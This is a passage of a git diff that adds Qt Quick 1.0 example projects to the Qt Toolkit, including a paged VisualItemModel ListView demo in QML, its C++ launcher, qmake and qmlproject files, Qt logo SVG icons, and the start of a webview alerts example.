+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/visualitemmodel/visualitemmodel.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/modelviews/visualitemmodel/qml/visualitemmodel/visualitemmodel.qml b/examples/declarative/modelviews/visualitemmodel/qml/visualitemmodel/visualitemmodel.qml
new file mode 100644
index 00000000..2f384e00
--- /dev/null
+++ b/examples/declarative/modelviews/visualitemmodel/qml/visualitemmodel/visualitemmodel.qml
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example demonstrates placing items in a view using
+// a VisualItemModel
+
+import QtQuick 1.0
+
+Rectangle {
+ color: "lightgray"
+ width: 240
+ height: 320
+
+ VisualItemModel {
+ id: itemModel
+
+ Rectangle {
+ width: view.width; height: view.height
+ color: "#FFFEF0"
+ Text { text: "Page 1"; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ width: view.width; height: view.height
+ color: "#F0FFF7"
+ Text { text: "Page 2"; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ width: view.width; height: view.height
+ color: "#F4F0FF"
+ Text { text: "Page 3"; font.bold: true; anchors.centerIn: parent }
+ }
+ }
+
+ ListView {
+ id: view
+ anchors { fill: parent; bottomMargin: 30 }
+ model: itemModel
+ preferredHighlightBegin: 0; preferredHighlightEnd: 0
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ orientation: ListView.Horizontal
+ snapMode: ListView.SnapOneItem; flickDeceleration: 2000
+ }
+
+ Rectangle {
+ width: 240; height: 30
+ anchors { top: view.bottom; bottom: parent.bottom }
+ color: "gray"
+
+ Row {
+ anchors.centerIn: parent
+ spacing: 20
+
+ Repeater {
+ model: itemModel.count
+
+ Rectangle {
+ width: 5; height: 5
+ radius: 3
+ color: view.currentIndex == index ? "blue" : "white"
+
+ MouseArea {
+ width: 20; height: 20
+ anchors.centerIn: parent
+ onClicked: view.currentIndex = index
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/visualitemmodel/visualitemmodel.png b/examples/declarative/modelviews/visualitemmodel/visualitemmodel.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/visualitemmodel/visualitemmodel.png
Binary files differ
diff --git a/examples/declarative/modelviews/visualitemmodel/visualitemmodel.pro b/examples/declarative/modelviews/visualitemmodel/visualitemmodel.pro
new file mode 100644
index 00000000..0d19fdcc
--- /dev/null
+++ b/examples/declarative/modelviews/visualitemmodel/visualitemmodel.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/visualitemmodel
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE722A922
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/visualitemmodel
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/visualitemmodel/visualitemmodel.qmlproject b/examples/declarative/modelviews/visualitemmodel/visualitemmodel.qmlproject
new file mode 100644
index 00000000..e422561c
--- /dev/null
+++ b/examples/declarative/modelviews/visualitemmodel/visualitemmodel.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/visualitemmodel"
+ }
+ JavaScriptFiles {
+ directory: "qml/visualitemmodel"
+ }
+ ImageFiles {
+ directory: "qml/visualitemmodel"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/visualitemmodel/visualitemmodel.svg b/examples/declarative/modelviews/visualitemmodel/visualitemmodel.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/visualitemmodel/visualitemmodel.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/webview/alerts/alerts.png b/examples/declarative/modelviews/webview/alerts/alerts.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/webview/alerts/alerts.png
Binary files differ
diff --git a/examples/declarative/modelviews/webview/alerts/alerts.pro b/examples/declarative/modelviews/webview/alerts/alerts.pro
new file mode 100644
index 00000000..aa366dd2
--- /dev/null
+++ b/examples/declarative/modelviews/webview/alerts/alerts.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/alerts
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xE14997C0
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/webview/alerts
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/webview/alerts/alerts.qmlproject b/examples/declarative/modelviews/webview/alerts/alerts.qmlproject
new file mode 100644
index 00000000..f1868405
--- /dev/null
+++ b/examples/declarative/modelviews/webview/alerts/alerts.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/alerts"
+ }
+ JavaScriptFiles {
+ directory: "qml/alerts"
+ }
+ ImageFiles {
+ directory: "qml/alerts"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/webview/alerts/alerts.svg b/examples/declarative/modelviews/webview/alerts/alerts.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/webview/alerts/alerts.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/webview/alerts/main.cpp b/examples/declarative/modelviews/webview/alerts/main.cpp
new file mode 100644
index 00000000..f8eb727e
--- /dev/null
+++ b/examples/declarative/modelviews/webview/alerts/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
